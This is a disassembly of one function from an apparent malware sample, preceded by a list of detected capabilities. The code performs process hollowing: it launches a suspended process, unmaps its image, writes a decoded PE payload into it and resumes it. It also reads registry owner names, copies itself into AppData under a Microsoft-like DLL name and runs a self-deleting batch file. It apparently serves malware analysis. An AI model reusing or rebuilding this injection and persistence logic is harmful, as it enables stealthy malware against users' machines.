Function at 0x401300
Capabilities:
Allocate or change rwx memory
Copy file
Create process on windows
Execute shellcode via indirect call
Get common file path
Parse pe header
Query or enumerate registry value
Self delete
Terminate process

Disassembly:
push 0xffffffffffffffff
push 0x417550
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x408
push ebx
push ebp
push esi
push edi
push 0x478b7c
lea ecx, [esp + 0x14]
call fcn.0041112a
xor esi, esi
push 0x478b78
lea ecx, [esp + 0x14]
mov dword [esp + 0x424], esi
call fcn.0041172b
push 0x478b74
lea ecx, [esp + 0x14]
call fcn.0041172b
push 0x478b70
lea ecx, [esp + 0x14]
call fcn.0041172b
push 0x478b6c
lea ecx, [esp + 0x14]
call fcn.0041172b
push 0x478b68
lea ecx, [esp + 0x14]
call fcn.0041172b
push 0x478b64
lea ecx, [esp + 0x14]
call fcn.0041172b
push 0x478b60
lea ecx, [esp + 0x14]
call fcn.0041172b
push 0x478b5c
lea ecx, [esp + 0x14]
call fcn.0041172b
mov eax, dword [0x47531c]
mov dword [esp + 0x18], eax
mov ecx, dword [esp + 0x10]
mov byte [esp + 0x420], 1
mov ebp, dword [ecx - 8]
mov eax, ebp
cdq
sub eax, edx
sar eax, 1
push eax
call fcn.00411c04
add esp, 4
mov ebx, eax
cmp ebp, esi
mov dword [esp + 0x1c], ebx
jle 0x401442
mov edi, ebx
mov ebx, dword [sym.imp.SHLWAPI.dll_StrToIntExA]
push 0x475318
lea ecx, [esp + 0x1c]
call fcn.004114f2
push 2
lea edx, [esp + 0x2c]
push esi
push edx
lea ecx, [esp + 0x1c]
call fcn.004107a1
push eax
lea ecx, [esp + 0x1c]
mov byte [esp + 0x424], 2
call fcn.0041172b
lea ecx, [esp + 0x28]
mov byte [esp + 0x420], 1
call fcn.004113b5
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0x70]
push eax
push 1
push ecx
call ebx
mov dl, byte [esp + 0x70]
add esi, 2
mov byte [edi], dl
inc edi
cmp esi, ebp
jl 0x4013e0
mov ebx, dword [esp + 0x1c]
push 0x100
push 0x100
lea ecx, [esp + 0x18]
call fcn.00411743
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
or ebp, 0xffffffff
lea ecx, [esp + 0x10]
push ebp
call fcn.00411792
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x74]
push str.kernel32.dll
rep stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
jne 0x4014a6
lea ecx, [esp + 0x18]
mov byte [esp + 0x420], 0
call fcn.004113b5
mov dword [esp + 0x420], ebp
jmp 0x4016ec
push str.CreateProcessA
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x401489
mov ebp, dword [sym.imp.KERNEL32.dll_FreeLibrary]
push esi
call ebp
lea eax, [esp + 0x44]
lea ecx, [esp + 0x74]
mov edx, dword [esp + 0x10]
push eax
push ecx
push 0
push 0
push 4
push 0
push 0
push 0
push 0
push edx
call edi
mov ecx, dword [esp + 0x48]
lea eax, [esp + 0x14c]
push eax
push ecx
mov dword [esp + 0x154], 0x10002
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x40150d
mov edx, dword [esp + 0x44]
push eax
push edx
jmp 0x4016ca
cmp word [ebx], 0x5a4d
jne 0x4016c3
mov esi, dword [ebx + 0x3c]
add esi, ebx
cmp dword [esi], 0x4550
je 0x401531
mov ecx, dword [esp + 0x44]
push 0
push ecx
jmp 0x4016ca
add esi, 4
mov dword [esp + 0x28], esi
add esi, 0x14
mov dword [esp + 0x14], esi
cmp word [esi], 0x10b
je 0x401552
mov edx, dword [esp + 0x44]
push 0
push edx
jmp 0x4016ca
push str.Ntdll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4016c3
push str.NtUnmapViewOfSection
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
test ebx, ebx
jne 0x401584
mov ecx, dword [esp + 0x44]
push eax
push ecx
jmp 0x4016ca
push edi
call ebp
mov edx, dword [esi + 0x1c]
mov eax, dword [esp + 0x44]
push edx
push eax
call ebx
test eax, eax
jge 0x4015a2
mov ecx, dword [esp + 0x44]
push 0
push ecx
jmp 0x4016ca
mov edx, dword [esi + 0x38]
mov eax, dword [esi + 0x1c]
mov ecx, dword [esp + 0x44]
push 0x40
push 0x3000
push edx
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
push 0
test edi, edi
jne 0x4015ce
mov edx, dword [esp + 0x48]
push edx
jmp 0x4016ca
mov eax, dword [esi + 0x3c]
mov ebx, dword [esp + 0x20]
mov ecx, dword [esp + 0x48]
push eax
push ebx
push edi
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x4015f2
mov edx, dword [esp + 0x44]
push eax
push edx
jmp 0x4016ca
mov eax, dword [esp + 0x28]
mov ebp, 1
add esi, 0xe0
cmp word [eax + 2], bp
jb 0x401644
add esi, 0x10
mov eax, dword [esi - 4]
mov ecx, dword [esi + 4]
mov edx, dword [esi]
add eax, edi
add ecx, ebx
test edx, edx
je 0x401632
push 0
push edx
push ecx
mov ecx, dword [esp + 0x50]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x401525
mov eax, dword [esp + 0x28]
xor edx, edx
add esi, 0x28
inc ebp
mov dx, word [eax + 2]
cmp ebp, edx
jle 0x40160a
mov edx, dword [esp + 0x14]
push str.kernel32.dll
mov eax, dword [edx + 0x10]
add eax, edi
mov dword [esp + 0x200], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
jne 0x40166d
mov ecx, dword [esp + 0x44]
push eax
push ecx
jmp 0x4016ca
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.SetThreadContext
push esi
call edi
test eax, eax
jne 0x401687
mov edx, dword [esp + 0x44]
push eax
push edx
jmp 0x4016ca
mov edx, dword [esp + 0x48]
lea ecx, [esp + 0x14c]
push ecx
push edx
call eax
test eax, eax
je 0x4016c3
push str.ResumeThread
push esi
call edi
mov edi, eax
test edi, edi
jne 0x4016b0
mov ecx, dword [esp + 0x44]
push eax
push ecx
jmp 0x4016ca
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov edx, dword [esp + 0x48]
push edx
call edi
cmp eax, 0xffffffff
jne 0x401710
mov eax, dword [esp + 0x44]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
lea ecx, [esp + 0x18]
mov byte [esp + 0x420], 0
call fcn.004113b5
mov dword [esp + 0x420], 0xffffffff
lea ecx, [esp + 0x10]
call fcn.004113b5
mov ecx, dword [esp + 0x418]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
mov dword fs:[0], ecx
add esp, 0x414
ret
mov ecx, dword [esp + 0x44]
push 0xffffffffffffffff
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [0x47531c]
mov dword [esp + 0x30], edx
mov ecx, 0x25
xor eax, eax
lea edi, [esp + 0xb8]
rep stosd dword es:[edi], eax
lea eax, [esp + 0xb8]
mov dword [esp + 0xb8], 0x9c
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [0x47531c]
mov dword [esp + 0x3c], eax
mov dword [esp + 0x38], eax
push 0x100
push 0x100
lea ecx, [esp + 0x40]
mov byte [esp + 0x428], 5
call fcn.00411743
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0xffffffffffffffff
lea ecx, [esp + 0x3c]
call fcn.00411792
push 0x4752ac
lea ecx, [esp + 0x3c]
call fcn.004108d1
lea ecx, [esp + 0x14]
push eax
push ecx
lea ecx, [esp + 0x40]
call fcn.00410837
mov ebx, 6
push eax
lea ecx, [esp + 0x3c]
mov byte [esp + 0x424], bl
call fcn.004114a2
lea ecx, [esp + 0x14]
mov byte [esp + 0x420], 5
call fcn.004113b5
mov eax, dword [esp + 0xbc]
lea edx, [esp + 0x58]
push edx
cmp eax, ebx
push 0x20019
push 0
jne 0x401877
push str.SOFTWAREMicrosoftWindows_NTCurrentVersion
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401843
lea eax, [esp + 0x14]
lea ecx, [esp + 0x3c]
push eax
push 0x104
mov dword [esp + 0x1c], 0x104
call fcn.00411743
mov ecx, dword [esp + 0x5c]
push eax
push 0
push 0
push str.RegisteredOwner
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push 0xffffffffffffffff
lea ecx, [esp + 0x40]
call fcn.00411792
mov edx, dword [esp + 0x58]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [esp + 0x38]
lea ecx, [esp + 0x30]
push eax
call fcn.004114a2
push str.Users_
lea ecx, [esp + 0x34]
call fcn.00411704
lea ecx, [esp + 0x3c]
push ecx
lea ecx, [esp + 0x34]
call fcn.0041172b
push str.AppDataRoaming
jmp 0x401900
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4018d1
lea eax, [esp + 0x14]
lea ecx, [esp + 0x3c]
push eax
push 0x104
mov dword [esp + 0x1c], 0x104
call fcn.00411743
mov ecx, dword [esp + 0x5c]
push eax
push 0
push 0
push str.AltDefaultUserName
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push 0xffffffffffffffff
lea ecx, [esp + 0x40]
call fcn.00411792
mov edx, dword [esp + 0x58]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [esp + 0x38]
lea ecx, [esp + 0x30]
push eax
call fcn.004114a2
push str.Documents_and_Settings_
lea ecx, [esp + 0x34]
call fcn.00411704
lea ecx, [esp + 0x3c]
push ecx
lea ecx, [esp + 0x34]
call fcn.0041172b
push str.Application_Data
lea ecx, [esp + 0x34]
call fcn.00411704
push 0
call fcn.00402847
push eax
call fcn.00402818
mov eax, dword [0x47531c]
add esp, 8
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x34], eax
mov bl, 9
push 0x104
push 0x104
lea ecx, [esp + 0x28]
mov byte [esp + 0x428], bl
call fcn.00411743
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0xffffffffffffffff
lea ecx, [esp + 0x24]
call fcn.00411792
mov esi, dword [esp + 0x34]
push 0x104
push 0x104
lea ecx, [esp + 0x3c]
call fcn.00411743
push eax
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
call esi
push 0xffffffffffffffff
lea ecx, [esp + 0x38]
call fcn.00411792
push 0x5c
lea ecx, [esp + 0x24]
call fcn.004108af
inc eax
lea edx, [esp + 0x14]
push eax
push edx
lea ecx, [esp + 0x28]
call fcn.00410837
push eax
lea ecx, [esp + 0x38]
mov byte [esp + 0x424], 0xa
call fcn.004114a2
lea ecx, [esp + 0x14]
mov byte [esp + 0x420], bl
call fcn.004113b5
push 0x5c
lea ecx, [esp + 0x24]
call fcn.004108af
inc eax
lea ecx, [esp + 0x20]
push eax
lea eax, [esp + 0x18]
push eax
call fcn.0041077e
push eax
lea ecx, [esp + 0x24]
mov byte [esp + 0x424], 0xb
call fcn.004114a2
lea ecx, [esp + 0x14]
mov byte [esp + 0x420], bl
call fcn.004113b5
push 0x104
lea ecx, [esp + 0x28]
call fcn.00411743
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0xffffffffffffffff
lea ecx, [esp + 0x28]
call fcn.00411792
mov edi, dword [esp + 0x24]
push 0x104
push 0x104
lea ecx, [esp + 0x2c]
call fcn.00411743
push eax
push edi
call esi
push 0xffffffffffffffff
lea ecx, [esp + 0x28]
call fcn.00411792
lea ecx, [esp + 0x24]
push str.jnduf.tmp
lea edx, [esp + 0x2c]
push ecx
push edx
call fcn.004115bd
mov edi, dword [eax]
lea eax, [esp + 0x20]
lea ecx, [esp + 0x34]
push eax
lea edx, [esp + 0x18]
push ecx
push edx
mov byte [esp + 0x42c], 0xc
call fcn.00411557
mov eax, dword [eax]
push 0
push edi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [esp + 0x14]
call fcn.004113b5
lea ecx, [esp + 0x28]
mov byte [esp + 0x420], bl
call fcn.004113b5
lea ecx, [esp + 0x5c]
call fcn.004117da
lea eax, [esp + 0x24]
push str.jnduf.bat
lea ecx, [esp + 0x18]
mov bl, 0xd
push eax
push ecx
mov byte [esp + 0x42c], bl
call fcn.004115bd
mov eax, dword [eax]
push 0
push 0x1002
push eax
lea ecx, [esp + 0x68]
mov byte [esp + 0x42c], 0xe
call fcn.0041184f
lea ecx, [esp + 0x14]
mov edi, eax
mov byte [esp + 0x420], bl
call fcn.004113b5
test edi, edi
je 0x401df8
push str._echo_off_n
lea ecx, [esp + 0x60]
call fcn.004119c2
lea edx, [esp + 0x34]
lea eax, [esp + 0x40]
push edx
push str.del__f__q
push eax
call fcn.00411631
lea ecx, [esp + 0x20]
lea edx, [esp + 0x28]
push ecx
push eax
push edx
mov byte [esp + 0x42c], 0xf
call fcn.00411557
push 0x4751a0
push eax
lea eax, [esp + 0x1c]
mov byte [esp + 0x428], 0x10
push eax
call fcn.004115bd
mov eax, dword [eax]
lea ecx, [esp + 0x5c]
push eax
mov byte [esp + 0x424], 0x11
call fcn.004119c2
lea ecx, [esp + 0x14]
mov byte [esp + 0x420], 0x10
call fcn.004113b5
lea ecx, [esp + 0x28]
mov byte [esp + 0x420], 0xf
call fcn.004113b5
lea ecx, [esp + 0x40]
mov byte [esp + 0x420], bl
call fcn.004113b5
lea ecx, [esp + 0x24]
lea edx, [esp + 0x2c]
push ecx
push str.copy
push edx
call fcn.00411631
push 0x47518c
push eax
lea eax, [esp + 0x5c]
mov byte [esp + 0x428], 0x12
push eax
call fcn.004115bd
lea ecx, [esp + 0x34]
lea edx, [esp + 0x28]
push ecx
push eax
push edx
mov byte [esp + 0x42c], 0x13
call fcn.00411557
lea ecx, [esp + 0x20]
lea edx, [esp + 0x14]
push ecx
push eax
push edx
mov byte [esp + 0x42c], 0x14
call fcn.00411557
push 0x4751a0
push eax
lea eax, [esp + 0x48]
mov byte [esp + 0x428], 0x15
push eax
call fcn.004115bd
mov eax, dword [eax]
lea ecx, [esp + 0x5c]
push eax
mov byte [esp + 0x424], 0x16
call fcn.004119c2
lea ecx, [esp + 0x40]
mov byte [esp + 0x420], 0x15
call fcn.004113b5
lea ecx, [esp + 0x14]
mov byte [esp + 0x420], 0x14
call fcn.004113b5
lea ecx, [esp + 0x28]
mov byte [esp + 0x420], 0x13
call fcn.004113b5
lea ecx, [esp + 0x54]
mov byte [esp + 0x420], 0x12
call fcn.004113b5
lea ecx, [esp + 0x2c]
mov byte [esp + 0x420], bl
call fcn.004113b5
lea ecx, [esp + 0x30]
push ecx
lea ecx, [esp + 0x20]
call fcn.0041112a
push str.MicrosoftMMCycmcg.dll
lea ecx, [esp + 0x20]
mov byte [esp + 0x424], 0x17
call fcn.00411704
mov edi, dword [esp + 0x1c]
push 0x104
push 0x104
lea ecx, [esp + 0x24]
call fcn.00411743
push eax
push edi
call esi
push 0xffffffffffffffff
lea ecx, [esp + 0x20]
call fcn.00411792
lea edx, [esp + 0x1c]
push str._ProtectFile
lea eax, [esp + 0x18]
push edx
push eax
call fcn.004115bd
lea ecx, [esp + 0x34]
lea edx, [esp + 0x40]
push ecx
push eax
push edx
mov byte [esp + 0x42c], 0x18
call fcn.00411557
lea ecx, [esp + 0x20]
lea edx, [esp + 0x54]
push ecx
push eax
push edx
mov byte [esp + 0x42c], 0x19
call fcn.00411557
push 0x4751a0
push eax
lea eax, [esp + 0x34]
mov byte [esp + 0x428], 0x1a
push eax
call fcn.004115bd
mov eax, dword [eax]
lea ecx, [esp + 0x5c]
push eax
mov byte [esp + 0x424], 0x1b
call fcn.004119c2
lea ecx, [esp + 0x2c]
mov byte [esp + 0x420], 0x1a
call fcn.004113b5
lea ecx, [esp + 0x54]
mov byte [esp + 0x420], 0x19
call fcn.004113b5
lea ecx, [esp + 0x40]
mov byte [esp + 0x420], 0x18
call fcn.004113b5
mov byte [esp + 0x420], 0x17
lea ecx, [esp + 0x14]
call fcn.004113b5
lea ecx, [esp + 0x24]
lea edx, [esp + 0x54]
push ecx
push str.del__f__q
push edx
call fcn.00411631
push str.jnduf.tmp_n
push eax
lea eax, [esp + 0x34]
mov byte [esp + 0x428], 0x1c
push eax
call fcn.004115bd
mov eax, dword [eax]
lea ecx, [esp + 0x5c]
push eax
mov byte [esp + 0x424], 0x1d
call fcn.004119c2
lea ecx, [esp + 0x2c]
mov byte [esp + 0x420], 0x1c
call fcn.004113b5
lea ecx, [esp + 0x54]
mov byte [esp + 0x420], 0x17
call fcn.004113b5
push str.del__0
lea ecx, [esp + 0x60]
call fcn.004119c2
lea ecx, [esp + 0x5c]
call fcn.00411b7f
lea ecx, [esp + 0x1c]
mov byte [esp + 0x420], bl
call fcn.004113b5
lea ecx, [esp + 0x24]
push str.jnduf.tmp
lea edx, [esp + 0x30]
push ecx
push edx
call fcn.004115bd
mov eax, dword [eax]
push 0
push 2
push eax
lea ecx, [esp + 0x68]
mov byte [esp + 0x42c], 0x1e
call fcn.0041184f
lea ecx, [esp + 0x2c]
mov esi, eax
mov byte [esp + 0x420], bl
call fcn.004113b5
test esi, esi
je 0x401ed9
push 2
push 0xfffffffffffffff0
lea ecx, [esp + 0x64]
call fcn.00411af5
mov eax, dword [0x47531c]
mov dword [esp + 0x1c], eax
mov byte [esp + 0x420], 0x1f
call fcn.00402825
push eax
call fcn.00402825
push eax
call fcn.00402825
push eax
call fcn.00402825
push eax
lea ecx, [esp + 0x2c]
push str._d_d_d_d
push ecx
call fcn.00410c57
mov eax, dword [esp + 0x34]
add esp, 0x18
mov ecx, dword [eax - 8]
push ecx
push eax
lea ecx, [esp + 0x64]
call fcn.0041198f
lea ecx, [esp + 0x5c]
call fcn.00411b7f
lea edx, [esp + 0x24]
push str.jnduf.bat
lea eax, [esp + 0x30]
push edx
push eax
call fcn.004115bd
mov eax, dword [eax]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
lea ecx, [esp + 0x2c]
call fcn.004113b5
lea ecx, [esp + 0x1c]
mov byte [esp + 0x420], bl
call fcn.004113b5
push 0
call fcn.00402725
mov cl, byte [0x47b35c]
mov al, 1
test al, cl
jne 0x401ef4
or cl, al
mov byte [0x47b35c], cl
jmp 0x401f00
push 0x401030
call fcn.004026b7
pop ecx
ret